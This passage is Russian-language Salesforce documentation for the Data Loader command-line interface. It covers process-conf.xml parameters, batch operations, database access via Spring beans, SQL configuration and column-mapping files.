Чтобы внедрить расширенное ведение журналов, воспользуйтесь копией файла log-conf.xml.

Чтобыизменитьпараметрывовремявыполнения, введите параметр=значение вкачествепрограммныхаргументов. Например,
добавление строки process.operation=insert в команду инициирует изменение конфигурации во время
выполнения.

Принеобходимостизадайтеминимальныйимаксимальныйразмерыдинамическойпамяти. Например, строка -Xms256m
-Xmx256m задает размер динамической памяти, равный 256 Мб.

Прим.: Данные разделы применяются только к приложению Data Loader 8.0 или более поздней версии.

Совет: Еслине удается выполнить входпосредствоминтерфейса команднойстрокипосле установкиновойверсии
приложения Data Loader, рекомендуем повторно зашифровать пароль.
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Настройка пакетных процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Чтобы настроить процессы Data Loader, представленные компонентами ProcessRunner,
воспользуйтесь файлом \samples\conf\process-conf.xml. Процесс должен
использовать ProcessRunner в качестве атрибута class и указанный ниже набор
свойств в файле конфигурации.

name
Имя компонента ProcessRunner. Кроме того, данное значение может использоваться
в качестве негруппового имени потока, а также в файлах резервирования
конфигурации (см. ниже).

configOverrideMap
Свойствотипа map, где каждая записьпредставляетпараметрконфигурации: ключ — этоимяпараметра, а значение —
это значение параметра.

enableLastRunOutput
Если задано значение «истина» (по умолчанию), то файлы результатов, содержащие сведения о последнем запуске
(например, sendAccountsFile_lastrun.properties), создаются и сохраняются в каталоге, указанном в
свойстве lastRunOutputDirectory. В противном случае создание и сохранение файлов не выполняется.

lastRunOutputDirectory
Каталог, в который добавляются файлы результатов, содержащие сведения о последнем запуске (например,
sendAccountsFile_lastrun.properties). Значение по умолчанию: \conf. Если свойству
enableLastRunOutput задано значение «ложь», то данное значениенеиспользуется, так какфайлыне создаются.

Файл резервирования конфигурации хранит значения параметров конфигурации, заданные при последнем запуске, для
выполнения отладки, а также используется для загрузки стандартных параметров конфигурации в файл
config.properties. Параметры свойства configOverrideMap имеют преимущество над параметрами файла
резервирования конфигурации. Файл резервирования конфигурации управляется программным способом и не требует
ручного редактирования.

Дополнительнуюинформациюодоступныхпараметрахконфигурациипроцессовсм. вразделе«Параметрыконфигурации
процессов Data Loader» на странице 791.

Параметры конфигурации процессов Data Loader

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Если приложение Data Loader запускается из командной строки, то файл
process-conf.xml может содержать указанные ниже параметры конфигурации. В
некоторых случаях параметры отображаются в графическом пользовательском
интерфейсе при просмотре меню Settings > Settings.

Совет: Файл-пример process-conf.xml хранится в каталоге \samples,
который устанавливается вместе с приложением Data Loader.
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Чтобы открывать любые файлы только в
кодировке UTF-8, установите данныйфлажок.

Выборочное значение: true

Read all
CSVs
with
UTF-8
encodingлогическийdataAccess.readUTF8

Чтобы записывать файлы только в кодировке
UTF-8, установите данныйфлажок.

Выборочное значение: true

Write
all CSVs
with
UTF-8
encodingлогическийdataAccess.writeUTF8

Имя источника данных (например, имя
CSV-файла). При использовании баз данных

—строковыйdataAccess.name

добавьте имя конфигурации базы данных в
файл database-conf.xml.

Выборочное значение:
c:\dataloader\data\extractLead.csv

Количество записей, считываемых
одновременноиз базы данных. Максимальное
значение — 200.

Выборочное значение: 50—целочисленныйdataAccess.readBatchSize

Стандартный или настраиваемый тип
источника данных. Стандартные типы:

—строковыйdataAccess.type

csvWriter, csvRead, databaseWrite и
databaseRead.

Выборочное значение: csvWrite

Количество записей, записываемых
одновременно в базу данных. Максимальное

—целочисленныйdataAccess.writeBatchSize

значение — 2 000. Обратите внимание на
импликацию для большого значения
параметра: при возникновении ошибки все
записи пакета возвращаются к исходному
состоянию. При выборе значения «1» записи
обрабатываются по отдельности, а ошибки
относятся только к определенной записи.
Рекомендуем использовать значение «1» для
определенияпроблем, возникшихврезультате
записи в базу данных.

Выборочное значение: 500
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Чтобы создавать файлы success и error при
экспорте данных, установите данныйфлажок.

Выборочное значение: true

Generate
status
files
for
exportsлогическийprocess.enableExtractStatusOutput

Если приложение Data Loader выполняется в
пакетном режиме, то создание файлов

—логическийprocess.enableLastRunOutput

результатов (например,
sendAccountsFile_lastRun.properties)
можетбытьотключено. Поумолчаниюфайлы
такого типа сохраняются в каталог conf.
Чтобы остановить запись данных файлов,
выберите значение false.

Чтобы изменить каталог, используемый для
хранения данных файлов, воспользуйтесь
параметром
process.lastRunOutputDirectory.

Выборочное значение: true

Имя файла, содержащего ключшифрования.
См. раздел «Шифрование из командной
строки» на странице 789.

Выборочное значение:
c:\dataloader\conf\my.key—

строковый
(имя
файла)process.encryptionKeyFile

Исходная настройка для параметра
process.lastRunDate, которая может

—датаprocess.initialLastRunDate

использоваться в строке SQL и автоматически
обновляться при успешном выполнении
процесса. Дополнительную информацию о
синтаксисе формата даты см. в подразделе
«Форматы дат» на странице 778.

Рекомендуем использовать следующий
формат:
гггг-ММ-ддВЧЧ:мм:сс.ССС+/-ЧЧмм.
Например: 2006-04-13В13:50:32.423-0700

Если приложение Data Loader выполняется в
пакетном режиме, то каталог, используемый

—
строковый
(каталог)process.lastRunOutputDirectory

для записи файлов результатов (например,
sendAccountsFile_lastRun.properties),
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может быть изменен. По умолчаниюфайлы
такого типа сохраняются в каталог \conf.
Чтобыизменить каталог, введите полныйпуть
к нужному каталогу в данный параметр.

Чтобы остановить запись файлов,
воспользуйтесь параметром
process.enableLastRunOutput.

Данное поле позволяет продолжить
выполнение последней неудачной операции

Start at
rowчисловойprocess.loadRowToStartAt

со строки, в которойзавершилось выполнение
последней успешной операции.

Выборочное значение: 1008

Имя нужного файла соотнесения полей. См.
раздел «Соотнесение столбцов» на странице
806.

Выборочное значение:
c:\dataloader\conf\accountExtractMap.sdl—

строковый
(имя
файла)process.mappingFile

Операция, которая должна быть выполнена.
См. раздел «Операции командной строки Data
Loader» на странице 801.

Выборочное значение: extract—строковыйprocess.operation

Каталог, используемый для хранения файлов
результатов success и error. Если файл

—
строковый
(каталог)process.statusOutputDirectory

process-conf.xml не содержит иных
указаний, то имена файлов создаются
автоматически для каждой операции.

Выборочное значение:
c:\dataloader\status

Имя CSV-файла, хранящего сведения об
ошибках, возникшихврезультате выполнения
последней операции.

Выборочное значение:
c:\dataloader\status\myProcessErrors.csv—

строковый
(имя
файла)process.outputError

Имя CSV-файла, хранящего сведения об
успешном выполнении последней операции.

—

строковый
(имя
файла)process.outputSuccess Также см. параметр
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process.enableExtractStatusOutput
на странице 793.

Выборочное значение:
c:\dataloader\status\myProcessSuccesses.csv

Чтобы включить поддержку форматов
дд/ММ/гггг и дд/ММ/гггг ЧЧ:мм:сс,
установите данныйфлажок.

Выборочное значение: true

Use
European
date
formatлогическийprocess.useEuropeanDates

Введите код правила назначения, которое
должноиспользоваться для операций вставки,

Assignment
ruleстроковыйsfdc.assignmentRule

обновленияилиобновленияивставки. Данный
параметр применяется к операциям вставки,
обновления или обновления и вставки
обращений и интересов. Кроме того, данный
параметрприменяетсякоперациямобновления
организацийприналичииправил назначения
территорий для организаций. Правило
назначения переопределяет значения поля
«Ответственный» в CSV-файле.

Выборочное значение: 03Mc00000026J7w

Количество миллисекунд, необходимое для
повторной проверки, выполняемой с целью

—целочисленныйsfdc.bulkApiCheckStatusInterval

определенияколичестваобработанныхзаписей
или статуса выполнения асинхронной
операции Bulk API. Также см. параметр
sfdc.useBulkApi. Рекомендуем
использовать значение 5 000.

Выборочное значение: 5000

Чтобы использовать последовательную, а не
параллельную обработку Bulk API, установите

Enable
serial

логическийsfdc.bulkApiSerialMode

данныйфлажок.Параллельная обработка

mode for
Bulk API

может инициировать конфликт базы данных.
При наличии серьезного конфликта загрузка
можетбытьпрервана. Режимпоследовательной
обработки гарантирует поэтапную обработку
пакетов. Обратите внимание, что
использование данного параметра может
значительно увеличить время обработки

795

Data LoaderНастройка и обслуживание организации Salesforce



ОписаниеЭквивалент
в
диалоговом
окне
Settings

Тип
данных

Имя параметра

загружаемых данных. Также см. параметр
sfdc.useBulkApi.

Выборочное значение: false

Чтобы использовать Bulk API для загрузки
архивных файлов, содержащих двоичные

Upload
Bulk API

логическийsfdc.bulkApiZipContent

вложения (например, содержимое Salesforce

Batch as
Zip File

CRM Content), установитеданныйфлажок.Также
см. параметр sfdc.useBulkApi.

Выборочное значение: true

Количество секунд, необходимое для
подключения при выполнении вызовов API.

Выборочное значение: 60—целочисленныйsfdc.connectionTimeoutSecs

Истинное значение включает функцию
отладки сообщений SOAP. Если параметр

—логическийsfdc.debugMessages

sfdc.debugMessagesFile не содержит
иного значения, то сообщения отправляются
на стандартное устройство вывода по
умолчанию.

Выборочное значение: false

См. параметр
process.enableExtractStatusOutput

—

строковый
(имя
файла)sfdc.debugMessagesFile

на странице 793. Данный параметр сохраняет
сообщения SOAP, отправленные из или в
систему Salesforce. Полученные или
отправленныесообщениядобавляютсявконец
файла. Размер файла не ограничен;
рекомендуем регулярно проверять дисковое
хранилище на наличие свободного
пространства.

Выборочное значение:
\lexiloader\status\sfdcSoapTrace.log

Истинное значение включает повторные
попытки подключения к серверам Salesforce.

—логическийsfdc.enableRetries

См. параметры sfdc.maxRetries на
странице 798 иsfdc.minRetrySleepSecs
на странице 798.
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Выборочное значение: true

Введите URL-адрес нужного сервера Salesforce.
Например, чтобы загрузить данные в

Server
hostURL-адресsfdc.endpoint

безопасную среду, введите следующий
URL-адрес:
https://test.salesforce.com.

Выборочное значение:
https://login.salesforce.com/services/Soap/u/36.0

Объект Salesforce, используемый в операции.

Выборочное значение: Интерес—строковыйsfdc.entity

Данный параметр используется в операциях
обновления и вставки; определяет

—строковыйsfdc.externalIdField

настраиваемое поле с атрибутом «Внешний
код», которое используется в качестве
уникального кода для сопоставления данных.

Выборочное значение: LegacySKU__c

Данное поле определяет размер инкрементов
длявозврата записейSalesforceпривыполнении

Query
request
sizeцелочисленныйsfdc.extractionRequestSize

единичной операции экспорта или запроса.
Максимальное значение — 2 000 записей.
Большие значения могут повысить
производительность, но снизить объем
свободной памяти клиента.

Выборочное значение: 500

Запрос SOQL для экспорта данных.

Выборочное значение: SELECT Id,
LastName, FirstName, Rating,
AnnualRevenue, OwnerId FROM Lead—строковыйsfdc.extractionSOQL

Чтобы вставлять пустые соотнесенные
значения как нулевые при выполнении

Insert
null
valuesлогическийsfdc.insertNulls

операций над данными, установите данный
флажок. Обратите внимание, чтоприналичии
данного флажка приложение Data Loader
перезаписывает любые текущие данные в
соотнесенныхполяхприобновлениизаписей.
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Выборочное значение: false

Данное поле определяет размер инкрементов
для обработки записей Salesforce при

Batch
sizeцелочисленныйsfdc.loadBatchSize

выполнении единичной операции вставки,
обновления, обновления и вставки или
удаления. Максимальное значение — 200.
Рекомендуем использовать значение от 50 до
100.

Выборочное значение: 100

Максимальноеколичествоповторныхпопыток
подключенияк системе Salesforce. См. параметр
sfdc.enableRetries на странице 796.

Выборочное значение: 3—целочисленныйsfdc.maxRetries

Минимальное количество секунд между
попытками подключения. Время ожидания

—целочисленныйsfdc.minRetrySleepSecs

увеличивается с каждой попыткой. См.
параметрsfdc.enableRetriesнастранице
796.

Выборочное значение: 2

Сжатие повышает производительность
приложения Data Loader; по умолчанию

Compressionлогическийsfdc.noCompression

включено. Сжатие может быть отключено для
отладки основных сообщений SOAP. Чтобы
отключитьсжатие, установитеданныйфлажок.

Выборочное значение: false

Зашифрованный пароль Salesforce, который
соответствуетименипользователя, указанному

—
зашифрованная
строкаsfdc.password

впараметреsfdc.username. Такжесм. раздел
«Шифрование из командной строки» на
странице 789.

Выборочное значение: 4285b36161c65a22

Имя узла прокси-сервера (при наличии).

Выборочное значение:
http://myproxy.internal.company.com

Proxy
hostURL-адресsfdc.proxyHost
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Зашифрованный пароль, который
соответствует имени пользователя

Proxy
password

зашифрованная
строкаsfdc.proxyPassword

прокси-сервера, указанному в параметре
sfdc.proxyUsername. Также см. раздел
«Шифрование из командной строки» на
странице 789.

Выборочное значение: 4285b36161c65a22

Порт прокси-сервера.

Выборочное значение: 8000
Proxy
portцелочисленныйsfdc.proxyPort

Имя пользователя для проверки подлинности
на прокси-сервере.

Выборочное значение: jane.doe
Proxy
usernameстроковыйsfdc.proxyUsername

По умолчанию система Salesforce
восстанавливает URL-адрес, указанный в

Reset
URL on
Loginлогическийsfdc.resetUrlOnLogin

параметре sfdc.endpoint, после входа.
Чтобы отключить автоматическое
восстановление, отключите данный параметр
путем выбора значения false.

Допустимые значения: true  (по умолчанию)
и false.

Введите количество секунд, по истечении
которого приложение Data Loader должно

Timeoutцелочисленныйsfdc.timeoutSecs

возвращать ошибку в случае отсутствия ответа
сервера.

Выборочное значение: 540

Данное значение используется в том случае,
если дата не содержит часового пояса.

Time
Zoneстроковыйsfdc.timezone

• По умолчанию приложение Data Loader
использует часовой пояс, выбранный на
локальном компьютере.

• При вводе недопустимого значения
используется время по Гринвичу (данный
фактрегистрируется вжурнале Data Loader).

Допустимым считается любой код часового
пояса, которыйможетбытьпереданметоду Java
getTimeZone(java.lang.String).
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Значение может содержать полное имя
(например, America/Los_Angeles) или
настраиваемый код (например, GMT-8:00).

Чтобы извлечь стандартное значение,
выполнитеметод TimeZone.getDefault()
в Java. Данное значение отображает часовой
пояс компьютера, на котором установлено
приложение Data Loader.

Чтобы усекать данные, загружаемые в поля
Salesforce типа «Эл. почта», «Раскрывающийся

Allow
field
truncationлогическийsfdc.truncateFields

список (со множественным выбором)»,
«Телефон», «Раскрывающийсясписок», «Текст»
и «Текст (зашифрованный)», установите
данныйфлажок.

Приложение Data Loader 14.0 илиболееранней
версии усекает только слишком большие
значениядляполейданныхтипов. Приложение
Data Loader 15.0 или более поздней версии
отменяет операцию загрузки, если заданное
значение слишком велико.

Установка данного флажка определяет
необходимость использования предыдущего
алгоритма (усечения) вприложении Data Loader
15.0 или более поздней версии взамен нового
алгоритма. Данныйфлажок установлен по
умолчанию, но не поддерживается
приложением Data Loader 14.0 илиболееранней
версии.

Данный параметр недоступен при наличии
флажка Use Bulk API. Таким образом,
операция загрузки не выполняется в строке,
содержащей слишком большое значение для
данного поля.

Выборочное значение: true

Чтобы использовать Bulk API для вставки,
обновления, обновления и вставки, удаления

Use Bulk
APIлогическийsfdc.useBulkApi

или необратимого удаления записей,
установите данныйфлажок. Интерфейс Bulk
API поддерживает асинхронную загрузку или
удаление большого количества записей.
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Благодаря выполнению параллельной
обработки и сокращению количества полных
обходов сети, интерфейс Bulk API работает
гораздо быстрее, чем стандартный интерфейс
API на основе SOAP. Также см. параметр
sfdc.bulkApiSerialMode.

Выборочное значение: true

Имя пользователя Salesforce. См. параметр
sfdc.password.

Выборочное значение:
jdoe@mycompany.com—строковыйsfdc.username

Операции командной строки Data Loader

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Если приложение Data Loader запускается в пакетном режиме из командной строки, то
поддерживается несколько операций. Операция — это поток данных между системой
Salesforce и внешним источником данных (например, CSV-файлом или базой данных).
Список имен операций и описания см. ниже.

Extract
Даннаяоперацияиспользует SOQL для экспортанабора записейиз системы Salesforce
и последующего добавления экспортированных данных в источник данных.
Удаленные записи не добавляются.

Extract All
Данная операция использует SOQL для экспорта набора текущих и удаленных записей из системы Salesforce и
последующего добавления экспортированных данных в источник данных.

Insert
Данная операция загружает данные из источника данных в систему Salesforce в качестве новых записей.

Update
Данная операция загружает данные из источника данных в систему Salesforce и обновляет текущие записи с
совпадающими полями кода.

Upsert
Данная операция загружает данные из источника данных в систему Salesforce и обновляет текущие записи с
совпадающим настраиваемым полем внешнего кода; несовпадающие записи добавляются в качестве новых.

Delete
ДаннаяоперациязагружаетданныеизисточникаданныхвсистемуSalesforceиудаляет текущиезаписиссовпадающими
полями кода.
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Hard Delete
ДаннаяоперациязагружаетданныеизисточникаданныхвсистемуSalesforceиудаляет текущиезаписиссовпадающими
полями кода без возможности восстановления.

Настройка доступа к базе данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Если приложение Data Loader запускается в пакетном режиме из командной строки, то
файл \samples\conf\database-conf.xml можетиспользоватьсядлянастройки
объектов доступа к базе данных, предназначенных для извлечения данных прямо из
базы данных.

Компонент DatabaseConfig

Компонент DatabaseConfig являетсяобъектомконфигурациибазыданныхверхнего
уровня. Ниже перечислены свойства данного компонента.

sqlConfig
Компонент конфигурации SQL для объекта доступа к данным, взаимодействующего с базой данных.

dataSource
Компонент, выступающий в качестве драйвера базы данных и средства проверки подлинности. Данный компонент
должен ссылаться на реализацию javax.sql.DataSource  (например,
org.apache.commons.dbcp.BasicDataSource).

Ниже приведен пример кода для компонента DatabaseConfig.

<bean id="AccountInsert"
class="com.salesforce.dataloader.dao.database.DatabaseConfig"
singleton="true">
<property name="sqlConfig" ref="accountInsertSql"/>

</bean>

DataSource

Компонент DataSource определяет физические сведения, необходимые для подключения к базе данных. Ниже
перечислены свойства данного компонента.

driverClassName
Полностью определенное имя для реализации драйвера JDBC.

url
Строка для физического подключения к базе данных.

username
Имя пользователя для входа в базу данных.

password
Пароль для входа в базу данных.

Необходимостьдополнительныхсведенийопределяетсяиспользуемойреализацией. Например, рекомендуемиспользовать
org.apache.commons.dbcp.BasicDataSource при объединении подключений к базе данных.
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Ниже приведен пример кода для компонента DataSource.

<bean id="oracleRepDataSource"
class="org.apache.commons.dbcp.BasicDataSource"
destroy-method="close">
<property name="driverClassName" value="oracle.jdbc.driver.OracleDriver"/>
<property name="url" value="jdbc:oracle:thin:@myserver.salesforce.com:1521:TEST"/>
<property name="username" value="test"/>
<property name="password" value="test"/>

</bean>

ВерсииприложенияData LoaderненижеAPI 25.0 распространяютсябез драйвера Oracle JDBC. Использованиеприложения
Data Loaderдляподключениякисточникуданных Oracle без установленногодрайвера JDBC возвращаетошибку «Неудается
загрузить класс драйвера JDBC». Чтобы добавить драйвер Oracle JDBC в приложение Data Loader, выполните указанные
ниже действия.

• Загрузите последнюю версию драйвера JDBC со страницы
http://www.oracle.com/technetwork/database/features/jdbc/index-091264.html.

• Скопируйте JAR-файл JDBC в папку папка установки data loader/java/bin.

СМ. ТАКЖЕ:

Spring Framework

Объекты доступа к данным

Конфигурация SQL

Spring Framework

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

В основе файлов конфигурации Data Loader используется бесплатная полностековая
платформа приложений Java/J2EE — Spring Framework.

Платформа Spring Framework позволяет использовать XML-файлы для настройки
компонентов. Каждый компонент представляет экземпляр объекта; параметры
соответствуют методам присвоения каждого объекта. Ниже перечислены типичные
атрибуты компонента.

id
Уникальный код компонента в классе XmlBeanFactory, используемом для
извлечения объектов из XML-файла конфигурации.

class
Класс реализации для экземпляра компонента.

Дополнительнуюинформациюоплатформе Spring Framework см. вофициальнойдокументацииинафорумахтехнической
поддержки. Обратитевнимание, чтокомпанияSalesforceненесетответственностьзадоступностьисодержимоевнешних
веб-сайтов.

СМ. ТАКЖЕ:

Настройка доступа к базе данных

803

Data LoaderНастройка и обслуживание организации Salesforce

http://www.oracle.com/technetwork/database/features/jdbc/index-091264.html
http://www.springframework.org/
http://www.springframework.org/documentation
http://forum.springsource.org/
http://forum.springsource.org/


Объекты доступа к данным

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Если приложение Data Loader запускается в пакетном режиме из командной строки, то
поддерживается несколько объектов доступа к данным. Объект доступа к данным
предоставляетпользователямдоступквнешнемуисточникуданныхзапределамисистемы
Salesforce. Данные объекты могут реализовывать интерфейс чтения (DataReader),
интерфейс записи (DataWriter) или оба интерфейса. Список имен объектов и
описания см. ниже.

csvRead
Данныйобъектпозволяетсчитыватьфайлсразделителями-запятымиилисимволами
табуляции. Верхняячастьфайладолжна содержать строку заголовка, описывающую
каждый столбец.

csvWrite
Данный объект позволяет записывать в файл с разделителями-запятыми. Строка заголовка добавляется в верхнюю
часть файла на основе списка столбцов, предоставленного вызывающим объектом.

databaseRead
Данный объект позволяет считывать базу данных. Чтобы настроить доступ к базе данных, воспользуйтесь файлом
database-conf.xml.

databaseWrite
Данный объект позволяет записывать в базу данных. Чтобынастроить доступ к базе данных, воспользуйтесьфайлом
database-conf.xml.

СМ. ТАКЖЕ:

Настройка доступа к базе данных

Конфигурация SQL

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Если приложение Data Loader запускается в пакетном режиме из командной строки, то
класс SqlConfig содержит параметры конфигурации для доступа к определенным
данным в базе данных. Ниже приведены примеры кода, подтверждающие отличие
запросов от операций вставки, несмотря на их схожесть. Компоненту должен быть
назначен тип com.salesforce.dataloader.dao.database.SqlConfig и
указанные ниже свойства.

sqlString
Код SQL, который должен использоваться объектом доступа к данным.

Код SQL может содержать параметры замены, которые определяют зависимость
строки от конфигурации или операторных переменных. Параметры замены должны быть окружены символами «@».
Например, @process.lastRunDate@.

sqlParams
Свойство типа map, содержащее описания параметров замены, заданных в свойстве sqlString. Каждая запись
представляет одинпараметр замены: ключ — это имяпараметра замены, а значение — это полностьюопределенный
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тип Java, который должен использоваться при настройке параметра в операторе SQL. Обратите внимание, что иногда
требуются типы java.sql (например, java.sql.Date вместо java.util.Date). Дополнительную информацию
см. в официальной документации к интерфейсу JDBC API.

columnNames
Свойство, используемое, еслизапросы (операторы SELECT) возвращают JDBC ResultSet. Данноесвойствосодержит
имена столбцовдля данных, полученныхпривыполнении SQL. Имена столбцовиспользуютсядля доступаи возврата
результатов вызывающему объекту интерфейса DataReader.

Пример компонента для запроса SQL

<bean id="accountMasterSql"
class="com.salesforce.dataloader.dao.database.SqlConfig"
singleton="true">
<property name="sqlString"/>

<value>
SELECT distinct

'012x00000000Ij7' recordTypeId,
accounts.account_number,
org.organization_name,
concat (concat(parties.address1, ' '), parties.address2) billing_address,

locs.city,
locs.postal_code,
locs.state,
locs.country,
parties.sic_code

from
ar.hz_cust_accounts accounts,
ar.hz_organization_profiles org,
ar.hz_parties parties,
ar.hz_party_sites party_sites,
ar.hz_locations locs

where
accounts.PARTY_ID = org.PARTY_ID
and parties.PARTY_ID = accounts.PARTY_ID
and party_sites.PARTY_ID = accounts.PARTY_ID
and locs.LOCATION_ID = party_sites.LOCATION_ID
and (locs.last_update_date > @process.lastRunDate@ OR

accounts.last_update_date > @process.lastRunDate@
</value>

</property>
<property name="columNames">

<list>
<value>recordTypeId</value>
<value>account_number</value>
<value>organization_name</value>
<value>billing_address</value>
<value>city</value>
<value>postal_code</value>
<value>state</value>
<value>country</value>
<value>sic_code</value>

</list>
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</property>
<property name="sqlParams">

<map>
<entry key="process.lastRunDate" value="java.sql.Date"/>

</map>
</property>

</bean>

Пример компонента для операции вставки SQL

<bean id="partiesInsertSql"
class="com.salesforce.dataloader.dao.database.SqlConfig"
singleton="true">
<property name="sqlString"/>

<value>
INSERT INTO REP.INT_PARTIES (
BILLING_ADDRESS, SIC_CODE)
VALUES (@billing_address@, @sic_code@)

</value>
</property>
<property name="sqlParams"/>

<map>
<entry key="billing_address" value="java.lang.String"/>
<entry key="sic_code" value="java.lang.String"/>

</map>
</property>

</bean>

СМ. ТАКЖЕ:

Настройка доступа к базе данных

Соотнесение столбцов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Если приложение Data Loader запускается в пакетном режиме из командной строки,
рекомендуем создать файл свойств, используемый для соотнесения значений между
системой Salesforce и объектами доступа к данным.

1. Создайте файл соотнесения с расширением .sdl.

2. Убедитесь в использовании синтаксиса ниже.

• Источник данных связан с целевым объектом в каждой строке.

• Файл импорта использует следующую структуру: источник данных слева, знак
(=) посерединекакразделитель, целевойобъект справа. Файлэкспортаиспользует
следующуюструктуру: целевойобъект слева, знак (=) посерединекакразделитель,
источник данных справа.

• Источникамиданныхмогут выступатьименастолбцовилипостоянныевеличины. Постоянныевеличиныдолжны
быть окружены двойными кавычками (например, "примерПостоянной"). Значения, введенные без кавычек,
обрабатываются как имена столбцов.
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• Целевыми объектами должны быть имена столбцов.

• При соотнесении постоянных величин рекомендуем использовать кавычки. Например:

"Canada"=BillingCountry

3. Чтобыуказатьимяфайласоотнесения, воспользуйтесьпараметром process.mappingFile вфайлеконфигурации.

Прим.: Еслиимяполя содержитпробел, рекомендуем экранироватьпробелобратной косойчертой (\). Например:

Account\ Name=Name

Пример соотнесения столбцов для вставки данных

Поля Salesforce расположены справа.

SLA__C=SLA__c
BILLINGCITY=BillingCity
SYSTEMMODSTAMP=
OWNERID=OwnerId
CUSTOMERPRIORITY__C=CustomerPriority__c
ANNUALREVENUE=AnnualRevenue
DESCRIPTION=Description
BILLINGSTREET=BillingStreet
SHIPPINGSTATE=ShippingState

Пример соотнесения столбцов для экспорта данных

Поля Salesforce расположены слева.

Id=account_number
Name=name
Phone=phone

Соотнесение столбцов для постоянных значений

Приложение Data Loader позволяетназначатьполямпостоянные значенияпривставке, обновленииилиэкспортеданных.
При наличии поля, которое должно содержать одно и тоже значение для всех записей, рекомендуем указать нужное
постоянное значение в файле соотнесения .sdl, вместо ввода поля и значения в CSV-файле или запросе на экспорт.

Постоянное значение должно быть окружено двойными кавычками. Например, рекомендуем использовать следующий
синтаксис при импорте данных: "постоянное_значение"=поле1.

При наличии нескольких полей, которые должны содержать одно и тоже значение, рекомендуем указать постоянное
значение и имена полей через запятую. Например, рекомендуем использовать следующий синтаксис при импорте
данных: "постоянное_значение"=поле1, поле2.

Нижеприведенпример SDL-файладлявставкиданных. Поля Salesforceрасположенысправа. Первыедве строкисоотносят
источник данных с целевым полем, а последние три строки — постоянное значение с целевым полем.

Name=Name
NumEmployees=NumberOfEmployees
"Aerospace"=Industry
"California"=BillingState, ShippingState
"New"=Customer_Type__c
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Постоянное значение должно содержать как минимум одну букву или цифру.

Прим.: Если заданное значение постоянной содержит пробелы, рекомендуем экранировать каждый пробел косой
чертой (\). Например:

"Food\ &\ Beverage"=Industry

Выполнение отдельных пакетных процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Чтобы запустить отдельный пакетный процесс, воспользуйтесь файлом
\bin\process.bat, требующим использование указанных ниже параметров.

Каталог конфигурации
Значение по умолчанию: \conf.

Чтобы воспользоваться альтернативным каталогом, создайте каталог и добавьте
файлы ниже.

• Если процесс не является интерактивным, скопируйте файл
process-conf.xml из каталога \samples\conf.

• Если процесс требует подключения к базе данных, скопируйте файл
database-conf.xml из каталога \samples\conf.

• Скопируйте файл config.properties из каталога \conf.

Имя процесса
Имя компонента ProcessRunner из файла \samples\conf\process-conf.xml.

Пример процесса

process ../conf accountMasterProcess

Прим.: Чтобы выполнять процессы по расписанию, настройте средство запуска внешних процессов (например,
мастер планирования заданий Microsoft Windows XP).

Краткое руководство по работе с командной строкой (только Windows)

Знакомство с Data Loader

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

ПриложениеData Loader, используемоедляинтерактивногоимпортаи экспорта данных,
может выполняться из командной строки. Рекомендуем использовать команды для
автоматизации процессов импорта и экспорта данных.

Ниже перечислены действия, которые необходимо выполнить для импорта данных
посредством командной строки Data Loader. Выполните указанные ниже действия.

• Действие 1. Создание ключа шифрования

• Действие 2. Создание зашифрованного пароля для имени пользователя
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• Действие 3. Создание файла соотнесения полей

• Действие 4. Создание файла process-conf.xml, содержащего параметры конфигурации импорта

• Действие 5. Запуск процесса и импорт данных

Предварительные требования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Ниже перечислены требования, которые должны быть выполнены для дальнейшей
работы.

• Приложение Data Loader должно быть установлено на персональный компьютер,
выполняющий процесс командной строки.

• Среда выполнения Java должна быть установлена на персональный компьютер,
выполняющий процесс командной строки.

• Пользователь должен уметь импортировать и экспортировать данные с помощью
интерактивногопользовательскогоинтерфейсаData Loader. Данныезнанияпозволяют
быстрее понять принцип действия функций командной строки.

Совет: ПриустановкеприложенияData Loader также устанавливаютсяфайлы-примерыв каталогпримеров. Данный
каталог находится в каталоге программ (например, C:\Program Files (x86)\salesforce.com\Apex
Data Loader 22.0\samples\). Используемые примерыфайлов хранятся в каталоге \samples\conf.

Действие 1. Создание ключа шифрования

ВЕРСИИ

Доступно в версиях:
